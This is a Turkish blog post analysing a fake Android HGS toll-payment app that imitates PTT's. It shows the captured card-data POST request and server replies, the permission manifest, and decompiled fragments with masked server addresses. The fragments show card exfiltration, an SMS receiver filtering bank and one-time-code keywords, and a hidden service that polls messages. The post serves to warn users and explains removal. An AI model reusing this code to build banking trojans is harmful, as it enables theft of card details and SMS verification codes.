Sahte HGS Mobil Uygulaması – Android Zararlı Yazılımı Analizi

Posted on Updated on

Selamlar,

Sosyal medyada karşılaşmışsınızdır;  sahte bir HGS uygulaması türemiş, kredi kartı bilgilerini çalıyor deniyordu. Başka bir habere göre de PTT’nin Google Play hesabı hacklenmiş, sahte uygulama bu hesap aracılığıyla dağıtılıyor diye değişik haberler vardı. Öyle ki, bu uygulamanın reklamını haber sitesinde bile gördüm.

Araştırma yaptığımda sahte diye belirtilen ilgili uygulama adresine eriştim;

https://play.google.com/store/apps/details?id=com.hgs.ptt.app

İlk başta herşey aynı gibi görünüyor, fakat aynı değil. Developer ID’leri farklı. orijinal uygulamanın dev ID’si ‘PTT A.Ş.’ ; bu sahtecilerin uygulamasının dev ID’si ise ‘PTT A.Ş’ şeklinde yer alıyor. Bu nedenle insanlar da yanılgıya düşebiliyor.

İlgili uygulamayı benim gibi şikayet edenler olmuş galiba; ben bu yazıyı yazarken uygulama Play Store’daydı, şimdi kaldırılmış 🙂 Uygulama halen Play Store da duruyor!

Gel gelelim bu uygulama ne yapıyor;

Uygulama ilk açıldığında static ekranlar karşımıza çıkıyor;

Bu ekranlarda herhangi bir doğrulama olmadığı için sahte bilgilerle ilerliyoruz ve en son ki ödeme adımına geliyoruz;

Bu adımdan sonra uygulama kendini belli ediyor. Ödeme yap dediğimizde aşağıdaki istek oluşuyor;

POST /odeme.php HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: http://***
Connection: close

adsoyad=test+test&kartno=1111222211112222&cvv=111&ay=01&yil=1911&telno=05555555555

Bu istek ile kredi kartı bilgileri kendi sunucularına POST ediliyor.

Bu isteğe karşı sunucunun döndüğü cevap şu şekildeydi (veritabanı cevap verdiği zaman);

HTTP/1.1 200 OK
Date: Tue, 18 Apr 2017 19:20:18 GMT
Server: Apache/2.4.25
X-Powered-By: PHP/5.6.30
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 21

Successfully Uploaded

İlgili sunucu şu anda isteklere cevap veremiyor, muhtemelen yukarıdaki isteğe enjekte edilen zararlı bir kod ile veritabanı bağlantısı down edilmiş olabilir 🙂  Şu anda sunucunun döndüğü hata;

HTTP/1.1 500 Internal Server Error
Date: Wed, 19 Apr 2017 18:36:17 GMT
Server: Apache/2.4.25
X-Powered-By: PHP/5.6.30
Vary: User-Agent
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Kod tarafında kredi kartı bilgilerini toplama işi de şu şekilde yapılmış;

package com.hgs.ptt.app;
import android.app.Activity;
...[snipped]...

public class aOxbeTZGz extends Activity {
   String SERVER_ADRESS = "***";
   ...[snipped]...

   public class Gonder extends AsyncTask<Void, Void, Void> {
      String adsoyad;
      String ay;
      String cvv;
      String kartno;
      String telno;
      String yil;
   }
      ...[snipped]...

      private HttpParams getHttpRequestParams() {
         ...[snipped]...
      }

      protected Void doInBackground(Void... voids) {
         ArrayList<NameValuePair> dataToSend = new ArrayList();
         dataToSend.add(new BasicNameValuePair("adsoyad", this.adsoyad));
         dataToSend.add(new BasicNameValuePair("kartno", this.kartno));
         dataToSend.add(new BasicNameValuePair("cvv", this.cvv));
         dataToSend.add(new BasicNameValuePair("ay", this.ay));
         dataToSend.add(new BasicNameValuePair("yil", this.yil));
         dataToSend.add(new BasicNameValuePair("telno", this.telno));
         ...[snipped]...
      }
   }
   ...[snipped]...
}

 

Uygulamanın neler yaptığına devam edelim.

Uygulamanın istediği izin listesine göz atmakta fayda var;

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="11" android:versionName="2" package="com.hgs.ptt.app" platformBuildVersionCode="24" platformBuildVersionName="7.0">
     <uses-sdk android:minSdkVersion="15" android:targetSdkVersion="24" />
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
     <uses-permission android:name="android.permission.READ_SMS" />
     <uses-permission android:name="android.permission.RECEIVE_SMS" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
     <uses-permission android:name="android.permission.CHANGE_CONFIGURATION" />
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
     <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true">
          ...[snipped]...
     </application>
</manifest>

Epey bir izin istiyor. Kod tarafında da sms’leri okumak için ısrarcı davranıyor

   ...[snipped]...
   private void IzinKontroEt() {
      String[] izinler = new String[]{"android.permission.READ_SMS", "android.permission.RECEIVE_SMS"};
         if (VERSION.SDK_INT < 23) {
            return;
         }
      if (ContextCompat.checkSelfPermission(this, "android.permission.READ_SMS") != 0 || ContextCompat.checkSelfPermission(this, "android.permission.RECEIVE_SMS") != 0) {
         requestPermissions(izinler, 67);
      }
   }

   public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
      switch (requestCode) {
         case 67:
            if (grantResults.length <= 0 || grantResults[0] != 0) {
               Toast.makeText(getApplicationContext(), "Gerekli Izınleri Vermeniz Gerekmektedir.", 1).show();
               ...[snipped]...
            }
         ...[snipped]...
      }
   }

Neden bu kadar ısrar ettiğini anlamak güç değil. Uygulamanın kaynak kodunda şöyle bir sınıf var;

package com.hgs.ptt.app;

import android.content.BroadcastReceiver;
...[snipped]...

public class aClCXHYjB extends BroadcastReceiver {
      String[] kIQiIPjJl = new String[]{"Banka", "banka", "Onay", "onay", "TL", "USD", "EUR", "Sifre", "sifre", "paylas"};
      String[] kSxCAPFho = new String[]{"PAYLAS", "BANKA", "BANK", "TEB", "IS", "Deniz", "YAPI", "HALK", "HSBC", "AK"};
      ...[snipped]...

      private void processReceive(Context context, Intent intent) {
      ...[snipped]...
      if (bundle != null) {
            ...[snipped]...
            body = "SMS from : " + from + " content:" + message;
            ...[snipped]...
         }
      }
   }
}

Bu kod parçası, kişiye gelen SMS lerde aşağıdaki kelimeleri kontrol ediyor;

String[] kIQiIPjJl = new String[]{"Banka", "banka", "Onay", "onay", "TL", "USD", "EUR", "Sifre", "sifre", "paylas"};
String[] kSxCAPFho = new String[]{"PAYLAS", "BANKA", "BANK", "TEB", "IS", "Deniz", "YAPI", "HALK", "HSBC", "AK"};

Eğer SMS içinde bu kelimeler geçiyorsa , SMS içeriğini aşağıdaki kod ile de JSON formatında kendi sunucularına POST ediyor ;

package com.hgs.ptt.app;

import android.util.Log;
...[snipped]...

public class Data {
   private static final String SERVER_URL = "***";
   public int id;
   ...[snipped]...

   public String toJSON() {
      return "{\"id\":null,\"numara\":\"" + this.numara + "\",\"mesaj\":\"" + this.mesaj + "\"}";
   }

   public static boolean insertData(Data d) {
      try {
         HttpURLConnection con = (HttpURLConnection) new URL(SERVER_URL).openConnection();
         con.setRequestMethod("POST");
         con.setRequestProperty("Content-Type", "application/json");
         String urlParameters = d.toJSON();
         ...[snipped]...
         }
      } catch (Exception e) {
         ...[snipped]...
      }
   }
}

Sunucuya gönderdiği örnek json data içeriği de şöyle bir çıktı olacak;

{ 
 "id":"[mesaj_id]",
 "numara":"[kIQiIPjJl'de yer alan bir string]",
 "mesaj":"[kSxCAPFho'de yer alan bir string]" 
},

 

Uygulama ile işlem yaptıktan sonra, uygulama kendisini uygulama menüsünden kaldırıyor. Fakat uygulama listesinde çalışan servisi görmek mümkün;

Çalışan servisin adı ; ‘aToJqozNM’
Servis ile ilgili uygulamanın koduna baktığımızda;

package com.hgs.ptt.app;

import android.app.Service;
...[snipped]...

public class aToJqozNM extends Service {
   ..[snipped]...
   aClCXHYjB receiver;

   ...[snipped]...
   public void onCreate() {
      ...[snipped]...
      notificationReceived.addAction("android.provider.Telephony.SMS_RECEIVED");
      notificationReceived.setPriority(10000);
      ...[snipped]...
      new Timer().scheduleAtFixedRate(new TimerTask() {
         public void run() {
         ...[snipped]
         }
      }, 0, 10000);
   }

   ...[snipped]...

   public int GettingCurrentDate() {
      ...[snipped]...
      Log.v("ZAMNA ", "" + x.get(11));
      return x.get(11);
   }
}

Bu kod ile 10 saniyede bir SMS kontrolü yapılıyor(Yukarıda bankalar ile ilgili yer alan SMS içeriğine bakıyor). Bu kontrolü logcat’de de görmek mümkün;

Kabaca uygulamanın yaptıkları belli. Eğer sizde bu uygulamayı kurduysanız uygulama menüsünden görünmeyebilir.

Uygulamayı kaldırmak için Ayarlar–>Uygulamalar ‘dan ilgili uygulamayı seçerek silme işlemini yapabilirsiniz.

Kredi kartı bilgilerinizi girerken uygulamarın gerçek/resmi uygulama olduğunda emin olun.

Güvenli günlere.

 

*Bu analiz sadece eğitim ve bilgilendirme amaçlıdır kötüye kullanımdan sorumlu değilim.

Leave a comment